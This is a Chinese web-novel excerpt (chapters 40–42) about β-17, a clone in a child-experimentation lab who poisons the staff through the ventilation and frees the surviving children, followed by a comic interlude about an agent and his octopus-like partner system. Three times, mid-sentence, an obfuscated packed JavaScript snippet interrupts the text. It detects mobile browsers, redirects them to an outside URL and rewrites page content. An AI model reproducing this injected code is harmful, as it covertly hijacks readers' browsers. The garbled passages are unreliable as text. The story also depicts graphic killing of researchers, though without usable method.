最后一刻,赵四听见窗外传来隐约的惊呼。 他下意识回头。 那是光—— 温柔而恢弘的光,正自天穹洒落。 那光明轻轻漫入房间,是这片土地阔别百余年的天光。 至此,新世界长夜渐明,得见晨晖。 这个世界的故事,从此翻开了属于它自己的、崭新的一页。 40.第40章 他心悖论 金发的孩童站在窗前,注视着窗外。 窗外是虚拟气候系统构建出的无垠雪景,那白茫茫的景致铺展到天际线,与铅灰色的低云融为一体。 他已经在这里站了很久,久到玻璃内侧结了一层薄薄的雾——那是他呼吸的热气在寒冷传导中凝成的霜。 他不认识“雪”。 这个词在他脑海里有定义:固态降水,由冰晶构成,多呈六角形。 但那是语言模块灌输的语义数据,不是他自己的经验。 他从未触碰过雪,从未感受过它的温度,从未见过它在掌心融化的过程。 他只知道,每当他站在这里,盯着那片无边无际的白,心里就会升起一种难以具体界定和描述的情绪。 他看着玻璃反光中面无表情的自己。 ——他叫β-17。 这是他的唯一标识。 他没有名字,没有生日,没有“父母”这一概念的对应实体。 但他知道很多。 他知道自己的存在始于这家研究所的第7培育舱,催生周期为21个小时; 他也知道自己的的基因源来自一个已死亡的样本,身体里携带着未经修正的致命缺陷。 他本不应该活着。 那批同源的克隆体中,他是β型,即原始复刻版,带着所有遗传瑕疵的“纯副本”。 他的同类大多在测试周期的前三个月内被淘汰,死法千奇百怪。 评估报告上的结论永远都是五个字——“样本已终止”。 他不知道自己为什么活了下来。 也许是因为那道缺陷在他体内呈现出的表达模式偏离了预测模型; 也许是因为他的神经系统对某些药物有奇异的耐受阈值; 也许只是因为——房律在某一天抬起头,扫过数据屏上成排的绿色“正常”与零星闪烁的黄色“异常”,在他那一栏停留了两秒。 “这个,”他说,“继续观察。” 于是β-17继续活着。 他学会的第一件事,不是说话,不是走路,而是“等待”。 等待每日的取样,等待例行的扫描,等待实验结果出来后那些穿白衣服的人在他床尾低声交换意见。 他听不懂那些术语,但他学会了辨认语气:平静意味着“无异常”,急促意味着“有问题”,而沉默—— 沉默意味着有人今晚不会再回到隔壁的舱房。 他学会的第二件事,是“观察”。 观察培养舱玻璃上凝结的水珠如何沿着固定的弧度滑落,观察天花板通风口的气流每隔四十七秒会有一丝微弱的颤动,观察那些穿白衣服的人。 观察他们的步态、手势,还有对话中的每一个停顿。 他逐渐能从口罩上方露出的眉眼分辨出谁是谁,能从操作仪器时的细微习惯判断出谁今天心情不好、谁昨晚没睡够、谁在按按钮时手指会多停留半拍。 这些观察没有实用价值,但他还是在观察。 ——这是他唯一能做的事。 再后来,他学会了第三件事:名字。 不是他自己的。 β-17没有名字,所以他学会的是别人的名字。 研究所里有很多孩子,孩子们的来源多种多样,并不是所有人都和他一样出生在实验室。 β-17记住了每一个睡在隔壁舱房的人,记住了他们的脸、他们说话的方式、他们害怕时会蜷缩起来的姿势。 他记住了一个叫“菲朵拉”的女孩,她会在取样结束后小声说“谢谢”,即使没有人教过她这个词。 他记住了一个叫“艾利”的男孩,他喜欢在睡前隔着舱壁敲三下,像某种秘密的暗号。 他一个个记住了他们。 然后,他一个个目送他们被带走。 舱房会空出来,消毒,然后填入新的编号。 那三下暗号再没有响起过,但他还是会习惯性地侧耳倾听。 那一年他七岁。 在研究所的时间轴上,这已经是很长的数字。 比他大的样本都被标记过“长期观察”,然后不知在哪一天突然消失。 他不知道自己为什么还在。 他只知道,每次扫描结束时,数据屏上他的那一栏,仍然亮着绿色的“正常”。 某一天,他听到一个研究员和另一个研究员说话的时候提到过他,说“β-17真是个幸运的实验体,照这样下去,说不定还真能活到去看一眼外面世界的那天”。 β-17记下了这句话,却对“外面”的概念十分模糊。 外面是什么? 是那个玻璃窗内的雪景,是影像模块定期播放的标准化自然风光素材,是语言模块里那些没有对应经验的词汇—— 风、雨、泥土、树叶。 他知道这些词的释义,却无法真正理解它们。 就像他无法理解为什么自己会站在这里,盯着那片重复播放了无数遍的、一成不变的雪,而心里那种情绪又究竟是什么。 β-17想起艾利。 那个男孩被带走的前一晚,敲了三下舱壁。 他犹豫了很久,然后轻轻敲了回去。 第二天早上,艾利的舱房空了。 β-17后来再也没有敲过任何人的舱壁。 窗外的雪还在下。 他知道那是假的。 但他不想让这片雪被换掉。 “β-17。” 身后的门无声滑开。 他没有立刻回头,只是将掌心从冰凉的玻璃表面移开,垂在身侧。 “今天的监测提前了。跟我来。” 他应了一声,声音很轻。 离开前,他最后看了一眼窗外。 雪还在下,白茫茫一片,铺展到他从未踏足过的远方。 他没有回头。 又过去了很久,久到β-17的存在,已经变成了研究员们口口相传的“奇迹”。 然后,更多奇迹眷顾了他——他被检测出远超常人的认知能力,数据解析与模式识别的天赋近乎异禀。 房律又一次来到他面前。 “我听你的负责人说了,你很有科研方面的天赋。” β-17没有回答,房律也不需要他回答。 男人只是带他去了一个保存着无数罐体的房间,对他展示着自己的成果。 “老实说,这些孩子挺好用的。”房律语气温和,内容却残酷无比,“直到现在,我也没找到比你的原型体更合适的实验素体……算了,这本来也是可遇不可求的幸运。” “更何况,现在我还有了你。” β-17的目光随着男人的手看向罐子,看向罐子中沉浮的无数个“自己”。 很多穿着防护服的人穿梭在罐体间,忙碌着自己的工作。 看到他们来了,有人想过来,却被房律摆摆手阻止了。 他按住β-17的肩膀。 他说:“人生来便是无瑕的器皿,需盛满他人的期望,才能长出灵魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176526|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——β-17,你和他们不一样,你是最优秀的那个,别让我失望。” β-17垂下头,没有说话。 他身后的某个罐子中,一个实验体似乎短暂地睁开了眼睛。 很快,那个罐子的监测仪发出拖长的、单一频率的蜂鸣,有研究员匆匆赶去,检查后,给这个罐子打上了“样本已终止”的标记。 那一年β-17的生理年龄是十岁。 也是同样的一年,在房律的授意下,他躺在手术台上,经历了一次完整的全身整形。 那场整形手术持续了三个月,分六期完成。 β-17躺在手术台上的时候意识清醒——房律认为这有助于他“观察并理解”自己正在经历的变化。 局部麻醉使他能感知到每一刀的走向,皮肤、筋肉、骨骼……他浑身上下都在哀嚎着痛苦。 他没有挣扎,甚至没有闭上眼睛。 他只是在心里默念那些他记住的名字。 他一遍遍念着,像某种无声的祷词。 那些名字支撑着他,让他没有在某一刻突然失去继续存在的意愿。 整形手术完成后,他又被送进了新的培养舱。 在冰凉的不知名液体中,他感觉到自己在快速成长。 从骨头缝中产生的撕裂般的痒与痛,几度让他失去意识。 三个月后,镜子里的人陌生的可怕。 他不再有一张与实验体们相似的脸,取而代之的是一张陌生的、从未在培育舱里出现过的面容。 轮廓更深,眉骨更挺,眼尾微微下垂,无端带出几分悲悯的倦意。 这是房律亲自设计的方案。 β-17看着镜子里那个陌生人,他的生理年龄似乎也被拉高了,镜子里的人无论从哪看都该是一个十几岁的少年。 他动了一下嘴角,陌生人同步动了一下嘴角。 他垂下眼帘,陌生人同步垂下眼帘。 这就像一个并不好玩的游戏,房律就站在他身后,满意地看着自己的作品。 他没有告诉面前少年,这种揠苗助长式的催熟是有代价的。 反正这孩子的结局他早就想好了,现在也不过是早早将潜力激发出来,好在能使用的期限内榨取利益而已。 从那之后,β-17被填鸭式地塞进了海量知识,随后被通知开始正式参与某些项目——不是以实验体身份的那种。 城建历170年,β-17的外表看起来已经完全是一个成年人了。 但他自己知道,他出现在这个世界上,也不过短短十年。 这天,他经过那扇窗,突然想到,按照一般人的计算方式,今天应该是他十岁的生日。 这个念头轻轻浮动了一下,又很快散去。 他照常前往自己最近常去的实验室。 也就是这天,第一个在他手下死去的实验体出现了。 然后是更多。 更多更多。 往后很长一段时间中,那些死去孩子的面孔,都会在他的梦中不断出现。 他开始学会阳奉阴违,学会在严密的检测下偷偷照顾几个能照顾到的孩子。 那些孩子在他的帮助下对他露出怯生生的笑脸,又在死去前对着他哭泣。 无形的梦魇挥之不去,然后很突然的,他知道了自己的心脏上挤压着的无形之物是什么。 那是愧疚,是自厌,是毁灭欲,是愤怒,是一切好与不好的情绪总和。 在那一刻,β-17终于明白了—— 41.第41章 他心悖论 他明白了那扇窗。 他站在窗前那么多年,凝视那片从未触碰过的雪,心里升起的那种难以界定的情绪——不是好奇,不是向往,甚至不是渴望。 那是恐惧。 玻璃反光里那张面无表情的脸,和窗外那片没有脚印的白,是同一种空无。 那是对自身的映射,是未来一片空白的空无。 他明白了艾利的三下敲击。 那不是暗号。 那是“有人在吗”,那是“你也在害怕吗”,那是“如果明天我不在了,至少昨晚有人敲了回来”。 他明白了菲朵拉的“谢谢”。 那不是礼貌。 那是她仅有的、能证明自己和外界有关联的最后的东西。 他明白了房律的话。 “人生来便是无瑕的器皿,需盛满他人的期望,才能长出灵魂。” 渴望是刀锋、是针剂、是一个个的“样本已终止”。 ——器皿终将以碎裂和毁灭为终局。 他明白了那些罐子。 无数个“自己”悬浮在液体中,闭着眼睛,不再醒来。 他曾以为自己与他们是不同的——他活着,他站在这里,他拥有“继续观察”的特权。 可原来那不是特权。 那是更漫长的死刑。 他明白了自己为什么活下来。 不是因为缺陷偏离了预测模型,不是因为神经系统的耐受阈值,不是因为房律那两秒的停留。 他活下来,是为了记住。 记住菲朵拉说“谢谢”时的声音,记住艾利敲三下的节奏,记住每一个在他之前被带走的人的脸。 他活下来,是为了成为那个会回头看的人。 他明白了那场手术。 三个月的刀锋,六期的重塑,骨缝里撕裂般的成长——那不是催熟。 那是剥皮。 房律剥掉了他与那些孩子相似的脸,剥掉了他曾是其中一员的证据,把他装扮成另一个物种,好让他站在实验台边时,不再记得自己也曾躺在上面。 可他还是记得。 骨骼可以重塑,记忆却不行。 他明白了房律最后的、真正的残忍。 不是让他成为实验体,是让他成为那个亲手终结实验体的人。 他以为自己在守护——用自己做代价,交换他们有限度的自由。 可原来每一次他按下确认键,都是在为他们签署死亡证明。 是这间研究所运转了这么多年,死了这么多孩子,而窗外那片雪还在下,日复一日,分秒不差。 ——没有任何东西为死者停下来过。 有什么东西在胸腔中疯了一样的成长。 他站在窗前那么多年,等的从来不是看见雪。 是有人问他:你在看什么? 现在他知道答案了。 他在看一个从未存在过的世界。 那个世界里,菲朵拉长大了,会走在真正的阳光下,会对别人说“谢谢”而对方也会笑着说“不客气”。 那个世界里,艾利还在敲他的暗号,而敲回来的人不必在第二天清晨面对空掉的舱房。 那个世界里,罐子里的孩子们睁开眼睛,从液体中坐起,第一次呼吸到不属于培养舱的空气。 那个世界里,有人在雪地里留下脚印,有人把雪团成球扔向同伴,有人捧起一把雪,看它在掌心化成水,再从指缝漏下去。 那个世界里,也应有一个孩子。 那孩子不叫β-17。 他会有一个名字,一个被叫了就会被回应、被呼唤就会回头的名字。 β-17转过身,向实验室走去。 他没有回头。 但他知道,总有一天,他会走出那扇门。 去往那个世界。 …… 城建历172年。 研究所的内部档案里,β-17的备注栏被更新过三次。 第一次是“实验体,长期观察”。 第二次是“研究员,特别任用”。 第三次只有四个字:“项目负责人”。 没有人觉得这有什么问题,也没人关心他私底下到底做了什么。 一个被制造出来的东西,从样本架上走下来,坐进工位,操作那些曾用来标记同类的仪器—— 这是效率最大化的典范。 房律在提到他时,语气里甚至有几分得意。 “他比我预想的更好用。” β-17听到这话时正在调试一批新的基因编辑载体。 他的手指没有停顿,眼皮没有抬起。 他已经学会了不让自己对这些话产生任何反应。 反应是危险的。 反应会让你想起你还是一个人。 而他已经很久、很久很久没有想过这个问题了。 转折在第一代基因药剂的改良型通过临床试验的那天。 研究所久违的开了一场庆功会,房律亲自出席,发表了简短的讲话。 研究员们三三两两聚在一起,交谈声、笑声混成一片。 β-17站在自己的实验区,隔着三层走廊、两道气闸和一扇消音窗,远远地听着那些声音。 他在这里已经太久了,久到他清楚地知道每一次“重大突破”意味着什么。 意味着新的项目,新的预算,还有新的实验体需求。 意味着更多的编号被录入系统,更多的舱房在消毒后迎来新的住客。 ……意味着“样本已终止”这五个字,将被打印在更多份报告上。 他靠在窗边,看着窗外。 是他经常看的雪景。 这天气不错,很适合做点什么。 接下来的一切都很安静。 β-17拥有仅次于房律的最高权限——这权限是他辗转了数个项目组,废了大力气拿到手的。 没人能想到他手里还藏着这么要命的东西。 他像往常一样走过走廊,刷开一扇扇门。 安保系统。 通信系统。 新风系统。 β-17把能关的都关了。 监控静默、门禁失效,通风换气系统切换至本地控制。 然后他在一间小型制剂室门口停下。 这里的门禁轻易的被他打开,他走了进去。 架子上陈列着最近三个月的试验废品。 失败的批次、被淘汰的配方、等待集中销毁的有毒残余……β-17不需要看标签,他记得每一瓶的位置、成分、作用机制。 但现在用不上那些知识。 他没有刻意挑选,只是随手拿起几瓶,打开,倒在一起。 最终成品颜色很诡异,乌黑发红的像沉淀了十几年的淤血。 他带着这瓶东西走向新风系统的核心机房。 一路上遇见三个研究员。 两个在低头看数据板,没有抬头。 第三个看见他,下意识侧身让路。 β-17朝他点了点头,像无数次点头那样。 那人看了一眼他,也点了点头,走过去了。 他甚至没有问β-17手里拿着什么。 这就是“听话好用”的好处,你做什么都不会有人多看一眼。 β-17站在新风系统的总控面板前,将那瓶液体倒入加湿模块的注水口。 他的动作很轻,很稳。 像在做一次普通的实验操作。 然后他走出去,刷开多功能厅侧门的权限面板,将门锁模式从“常开”切换为“全封闭”。 隔着那扇门,他能听见里面隐约的交谈声。 有人在笑。 有人在对房律说“恭喜”。 他把手从面板上收回来,退后两步,靠在走廊的墙上。 没有跑也没有离开,他只是站在那里,侧过头,等待着接下来可能会有的混乱。 他很想知道,里面的人发现自己出不去了的时候,会发出什么样的声音。 他等了很久。 没有等来尖叫、没有拍门,没有桌椅翻倒、杯盏碎裂的嘈杂。 到处都很安静,安静到他几乎以为自己关错了门。 不过这当然不可能,回忆了一下自己拿取的药剂,他恍然。 喔,是低估了那瓶混合液体的效率啊。 加湿模块在几秒内就将雾化后的气体送进了通风口,多功能厅是封闭空间,没有窗户,唯一的出入口在他身后。 所有人都睡着了,并且再也不会醒来。 他站了很久。 久到走廊尽头的自动照明切换了一次色温。 然后他转过身。 他没有再回头。 …… 接下来的一切快的像加速的黑白默片。 没有声音,没有色彩,没有时间——他只是不停地走,开门,关门,蹲下身,站起来。 他找到了他们。 培育舱里、病房里、取样室里。 有的缩在角落,把被子蒙过头顶。 有的趴在窗边,玻璃上结着薄薄的雾气。 有的刚被注射完镇静剂,躺在台子上还没有醒来。 他把他们一个一个带出来。 牵着手的、背着的、抱着的。 有一个太小了,还不会走路。 他把那孩子托在臂弯里,像托一件易碎的器皿。 等到所有人都聚在那间空置的休息室里时,他终于停下来。 有人问他:“你是谁?” 也有人说:“我认识你,前两天是你给我塞了一块糖。” 还有更多人沉默地蜷缩成一团,把下巴埋进膝盖,一言不发。 β-17蹲下身。 他伸出手,很轻地碰了碰一个男孩的头。 那孩子的半张脸都是红斑,在灯光下像未愈的烫伤。 男孩瑟缩了一下,但没有躲开。 “你们可以叫我β-17。”他说。 “你也是和我们一样的?”发问的是那个认出他的女孩。 “嗯,我也是。” “那我怎么没见过你?” “因为我一直在别的房间。”他顿了顿,“做别的实验。” 女孩咬着嘴唇,声音低下去。 “那……你把我们都带过来,是想干什么呀?” 她的眼睛里没有信任,只有恐惧——那种不知道接下来会发生什么、但知道大概率不会是好事的人特有的恐惧。 β-17看着她的眼睛。 他想起很久以前,有人问过他同样的问题。 不是在声音里,是在眼神里。 艾利被带走的前一晚,隔着舱壁敲了三下。 他没有问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182586|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你想干什么”,他只是在等一个回应。 于是他敲了回去。 现在他蹲在这里,面前是十几个眼神恐惧的孩子。 他听见自己开口。 “别怕。” 声音比他预想的稳。 “我会保护你们的。” 他不知道这句话他们信不信,但他知道,他不会让这里的任何一个人再死去了。 他没有说更多,只是站起来,开始处理接下来的事。 清理痕迹、重置系统、给每一间空掉的舱房打上“待消毒”的标记。 有人需要药物、有人需要食物、有人需要一件干净的衣服。 他一件一件去做,像过去十年做过的每一件实验操作。 ——只是这一次,他不再是为房律,是为了自己。 那天夜里,他把所有孩子安顿在休息室的软垫上。 灯调暗了,有人在睡梦中抽泣了一声。 旁边另一个看起来年龄大一些的孩子伸出手,轻轻拍了拍她的背。 β-17坐在门边的椅子上,没有睡。 他看着那一排蜷在垫子上的身影。 他们看起来有大有小,有几个外表已经完全接近成年人了——宽起来的肩,长开的脸,被催熟的骨骼在皮肉下撑出不该属于这个年纪的轮廓。 但β-17知道,他们中间最大的那个,真实年龄也不过十一岁。 他想起了很多,又好像什么都没想。 夜晚长的过分,他守在这里,守着一群孩子。 而几百米外的不远处,是睡满了尸体的研究所。 那些尸体再也不会醒来,但这些孩子会。 那么,趁现在还有空闲,来想想以后吧。 他需要的东西很多。 干净的身份证明、安全的落脚点,还有足够他们活下来、活下去的钱。 研究成果可以带走一部分,那些核心资料足够交换一些必需品。 然后呢?然后去做什么? 他不知道。 有人轻轻挨着他坐下了。 β-17侧过头,看见了一个少年。 少年有十四五岁的外表,眉眼长开了,但坐姿还是孩子的——紧紧蜷着,把膝盖收上来,脚不敢落地。 他没睡着。 β-17开口:“你……” 少年没有看他。 “我想问你一个问题。” β-17示意他说。 少年垂下眼睛,攥住了β-17的衣角。 他说:“我有一些‘本体’的记忆。” “那些记忆告诉我,外面虽然叫‘新世界’,却不是什么美好的伊甸园。” “你带我们出去是得不到半点好处的……所以你到底想干什么?” “我不知道。”他说。 少年猛地抬起眼睛。 β-17没有躲开他的注视。 “我不知道之后要做什么,”他说,“不知道外面有没有我们能去的地方,不知道能不能让大家一起活下去……但我会努力去想的。” 直到想到为止。 少年看着他。 那双眼睛里有太多东西。困惑。警惕。还有藏不住的仓皇和迷茫——它们被压在最底下,压了很久,此刻正顺着裂隙一点点渗出来。 “……那如果你一直都想不到呢。” β-17说:“那我们就一起想。” 少年攥着他衣角的手指慢慢松开了一点,但也没有完全放开,只是不那么用力了。 他别扭的扭过头,不去看β-17。 “那就再给你一晚上的时间,要是想不到,那就明天大家一起。” β-17看着他倔强的侧脸,然后笑了一下。 很轻、很短,像落在玻璃上的一粒雪,停了一瞬便化了。 他说:“好。” 第二天,孩子们陆陆续续醒来,β-17还坐在那张椅子上,看着他们互帮互助的打理自己。 等所有人都收拾好后,β-17开口:“都过来一下。” 他的声音不大,但所有人都听见了。 孩子们互相看了看,然后,一个接一个,他们向他聚拢过来。 他们围成一圈。 “我们需要一些东西。”β-17说。 他讲得很慢,他把那些庞大的、令人恐惧的概念拆成一小块一小块,像拆一台他做过千百次的实验。 孩子们安静地听着,等他讲完后,有人先开口了。 “我们需要做什么?” 随后是越来越多的人在说话。 他们在问:“我可以做什么”、“我能帮上忙吗”。 他们不知道前路在哪里,但是他们愿意相信他。 β-17微微吸了口气,他感觉到自己的胸腔里有什么东西在颤动。 不是痛苦,也不是空洞。 那是一种从未出现过的、陌生的震颤。 就像一只冰封了十年的茧,在春天来临的时候,从最深处裂开一道缝。 他不知道那是什么,但他知道,从这一刻起,他有事要做了。 他要让这些孩子活下去,在真正的阳光和风雪中,幸福而快乐的活着。 要加油啊,β-17。 他在心里对自己说。 然后他站起来,走向那一圈等他开口的孩子们。 42.第42章 幕间 从生命维持仓爬出来的时候,赵四还在打哈欠。 刚站直,他就感觉左侧肩膀一重。 侧头一看,一团可可爱爱的毛绒Q版小章鱼已经安稳地扒在他肩膀上了。 上下打量了一番MK3000的常用形象,赵四由衷夸道:“很可爱。” MK3000:“就算你夸我,我也不会帮你写报告的……快走,主系统催我们了。” 赵四并非无意的揉了揉小章鱼,搓了搓指尖回味了一下手感。 嗯,确实不错,Q弹软糯,还带点温热,比想象中的手感还要好上一筹。 没忍住又伸手,被MK3000躲了一下,才不紧不慢地登出了操作间。 这类任务操作间的登出点很统一,都在任务大厅的任务池正上方。 赵四刚一登出,就早有预备的朝旁边一躲,擦着任务池的边落在地面上。 距离拿捏得刚刚好,鞋底连一滴水都没沾上。 MK3000不知从哪变出一个打分牌,高高举起:“十分!” “雕虫小技雕虫小技,我还需要努力——” 赵四话没说完,就听见离他不远处一声扑通巨响。 溅起的水花足有半米高,赵四眼疾手快搂着章鱼闪身躲远,愣是没让他俩沾上一星半点。 一人一统远远看着一个刚回来的专员骂骂咧咧地从任务池里爬上岸,又骂骂咧咧地从飘在旁边看热闹的搭档系统那里换了一张速干道具。 赵四转过身,笑得肩膀都在抖。 就他笑的这会儿,又有五六个专员登出,然后下饺子似的扑通扑通落进了水里。 MK3000疑惑:“虽然确实有点好笑,不过这种事你应该见得多了吧,至于笑成这样?” 赵四把MK3000从肩膀上摘下来抱在怀里,凑近了说悄悄话,那姿态活像两个在课桌底下传纸条的小学生。 “第一个掉水里的那个,你没认出来是谁?” MK3000仔细看了看那个正在和搭档系统掐架的男人:“人没有,他的系统我倒是认出来了。” MK系列的MK250,说起来也是大前辈了。 只是它听MK250说自己最近休假了啊? 赵四又开始笑。 笑够了,才给MK3000解惑道:“你没认出来正常,他用了物理手段进行伪装——换了个发型,脸上贴了点东西……喏,还戴了副平光镜呢。” “至于MK250……它是休假了,但是它的固定搭档不是换了个萌新统在带吗?结果萌新压不住场子,让专员给任务世界送了个五连崩,逼得主系统亲自请250出山,专程抓人回去修世界线。” 现在瞧着,应该是刚修完世界回来。 MK3000听完,小触手都抖了抖。 “我记得,250前辈的搭档是……” 是维护中心的不可说,是笼罩在所有系统上的无声阴影。 他的名字是——奥古斯都·王五。 此人在中心扬名已久,任务世界们碰上他算是碰上鬼了。 王五刚入职那会儿,需要进行双向磨合选择搭档系统,系统们往往是战战兢兢地去,扭曲着脸回。 回来一翻系统日志,全是诸如—— 某年某月某日,王五专员大庭广众之下强行扒掉任务世界数个关键人物的底裤并游街示众,导致NPC不堪受辱,纷纷上吊。任务缺失多名关键角色,直接失败。 又某年某月某日,王五专员忽悠二十万大军阵前抱头痛哭,当场结同生共死契认二十万干亲。 后来王五一剑刺伤某普通士兵,二十万人同时吐血倒地,因任务世界特殊规则齐齐化鬼,怨气冲天,冲破了世界壁的封锁。 再某年某月某日,有人说:“我想你妈呢。” 王五欣然答应此人“我想(变成)你妈呢”的合理请求,将此人由男变女,外表固定成九十老妇后,快快乐乐的追着人家喊了三百年的妈。 后来世界重置,王五又找到这个人,使了点手段,又让这人追着自己喊了三百年的妈。 如此记录,数不胜数。 这家伙脑回路似乎格外清奇,有其他专员曾经怀疑过王五有精神类疾病,被王五笑眯眯的按进自己堆成小山的精神检测报告里埋了个半死。 后来有人私下问过那个大胆问出这个问题的专员,所以报告上到底有没有标王五什么病? 答案是王五没病。 每份报告都说他精神上健康的很。 中心众系统苦王五久矣。 后来也就是经验丰富的MK250决定试试看,出面接手了此祸害,其他系统才战战兢兢的松了口气,并每天虔诚祈祷这对搭档不要拆伙。 赵四把脸埋进了小章鱼的身体。 “咳,那个,过两天我带你去拜访一下他……” MK3000:“……啊?” 赵四更加小声道:“这是我哥,他挺在意我的搭档问题的。” MK3000:“……等等,你等等。” 它难以置信,伸出一条软软的触手推开赵四的脸,“你说王五是你的谁?” 赵四故作扭捏,羞涩道:“啊呀,是家兄啦。” MK3000眼前一黑。 蓦然,它想起了什么,扯住赵四的脸颊:“再等等,你说清楚,你家到底几个兄弟??” 赵四比了个三的手势。 MK3000:“不会是……” 赵四:“你认识的,我大哥是亚历山大·张三,王五是我二哥。” MK3000真是眼前一黑又一黑。 它早该想到的,什么张三赵四王五的,这起名风格听起来就有点联系啊! 那么问题来了,如果三兄弟里,有两个都是让系统和任务世界闻风丧胆的变态,那么歹竹里出一棵好笋的概率有多高? 赵四没注意到怀里小章鱼的心理活动,或者说注意到了也假装没注意到。 他心情不错地抱着毛绒小章鱼往主系统的办公室走——这趟活接得特殊,任务结束后必须直接去见主系统。 家事什么的可以之后再说,现在要紧的是先把任务结了。 主系统是个很有意思的存在。 没人知道它的本体长什么样,中心的人只知道他们的顶头上司爱三天两头换皮肤玩。 有时是光球,有时是猫,有时是一盆会说话的植物。 有一次还变成过自动贩卖机,据说那天去交任务的专员都收获了一罐免费冰可乐。 赵四和MK3000这次虽然没遇到会发福利的主系统,但是他俩来得巧,正好遇上主系统的经典款皮肤: 一颗由无数光带汇聚而成的、缓缓旋转的巨大光球。 亮度真是非常闪耀。 推开门的第一时间,赵四眼疾手快地从口袋里掏出两副墨镜,一副架自己脸上,一副扣在MK3000的小章鱼脑袋上。 MK3000被墨镜的重量压得往下沉了沉,用两根触手扶着镜框,小声嘀咕:“你怎么还随身带这个?” 为什么?当然是第一次来的时候被闪得泪流满面,从此长记性了呗。 赵四推了推墨镜:“专员尼古拉斯·赵四,系统MK3000,前来结算任务。” 大光球看不出有什么变化,一道声音在一人一统耳边响起。 【核对中……核对完成。】 【任务数据完整,无异常记录。】 【评级确认中……世界后续进程推演中……已确认无误,该次任务评价为“S”,相关奖励已发放至个人账户。】 【欢迎回来。】 公式化的快速结算之后,是上司谈话时间。 【MK3000,听说你在戒烟?】 MK3000的触手微微蜷缩了一下,触手尖尖泛起了一点不易察觉的粉红色。 “……最近确实在努力。” 光球微不可察的闪了闪,像是笑了一下。 【很好,上次你说要戒,说了三百个任务周期。这次终于付诸行动了?】 MK3000没说话,只是触手尖尖更粉了。 【不逗你了。】主系统转向赵四,【那么尼古拉斯·赵四专员,和MK30 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187087|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 00第一次搭档感觉如何?】 赵四愣了一下,然后推了推脸上的墨镜,看向头顶那个巨大的光球。 “挺好,我俩挺合拍。” 【具体说说?】 “配合默契,沟通顺畅。”赵四想了想,又补了一句,“而且手感很好。” MK3000:“……最后那个不用说出来。” 【手感?】 “就是——”赵四刚开口,就被MK3000用触手捂住了嘴。 “没什么!他胡说的!” 光球又闪了闪,这次笑得明显了些。 【那么你们双方是否有继续长期搭档的意愿?】 赵四和MK3000都没想到主系统还会特意问这一句。 他们对视一眼,MK3000的触手慢慢松开赵四的嘴,没什么犹豫的点了头。 赵四也点了点头,“我没意见。” 【很好,看来你们之间的化学反应很不错,继续努力。】 【另外——】 光球顿了一下。 【MK250刚才提交了任务报告,顺便问了一句,它弟弟的新搭档怎么样。】 它弟弟……哦,对,MK250和MK3000是同一系列,按理说MK3000也能算是MK250的弟弟来着。 赵四又搓了搓章鱼,安静的听主系统的下文。 MK3000捂住了脸。 【我告诉它,赵四专员是个好孩子。MK250说,那就好。并委婉转达了希望赵四专员能管管王五,让他少来烦自己休假的愿望。】 赵四干笑两声:“……家兄让您费心了。” 【不费心。】光球的语气居然带上了一点愉悦,【王五很有趣。上周他给我寄了一张明信片,说是在某个世界找到了很好喝的茶叶,下次回来带给我尝尝。】 赵四和MK3000同时沉默了。 总觉得刚刚那句话槽点有点太多了,就是不知道该从哪开始吐槽。 【行了,回去吧。】光球的光芒微微收敛,【下一个世界已经准备好了,半个月后出发。这段时间你们好好休息。】 【对了,赵四专员——】 赵四正要转身,闻言顿住。 【你大哥张三上周也回来过,让我转告你的原话是:“最近干得不错,以后做任务千万别继续学你那神经病的二哥。”】 赵四愣了一下,然后笑了。 “知道了。替我谢谢大哥。” 【不客气。还有,你大哥也有句话让我带给MK3000——】 MK3000的触手一僵:“……什么?” 【他说:“我弟弟要是欺负你,告诉我。我揍他不用挑日子。”】 MK3000动作一顿,看向赵四。 这是干什么,给他提前打预防针吗。 所以赵四这颗好笋果然有问题? 还有什么叫“以后千万别继续学你那神经病的二哥”,这是以前学过的意思?? 赵四:“……” 他干咳一声:“……家兄开玩笑的……你不会当真的对吧,三儿?” 赵四倒不是害怕张三揍他——实际上张三从来不揍人,他只会让人生不如死——他就是有点怕刚到手的长期搭档干点什么事,然后直接没了。 主要是吧,他那好大哥,真不是正常统能把握住的角色。 MK3000:“哈哈。” 它没说什么,只是用了点劲挣脱赵四的怀抱,又落在了赵四的肩膀上。 一人一统就这么离开了主系统的办公室。 赵四兴致勃勃的对MK3000发出邀请,想要请未来的长期搭档去吃大餐庆祝一下。 MK3000没反对,它贴了贴赵四的脖颈,算是同意了。 在去吃饭的路上,不祥的预感逐渐在MK3000心底冒出。 不是,有没有知情统告诉它一下,它这到底是给自己绑了个什么搭档啊? 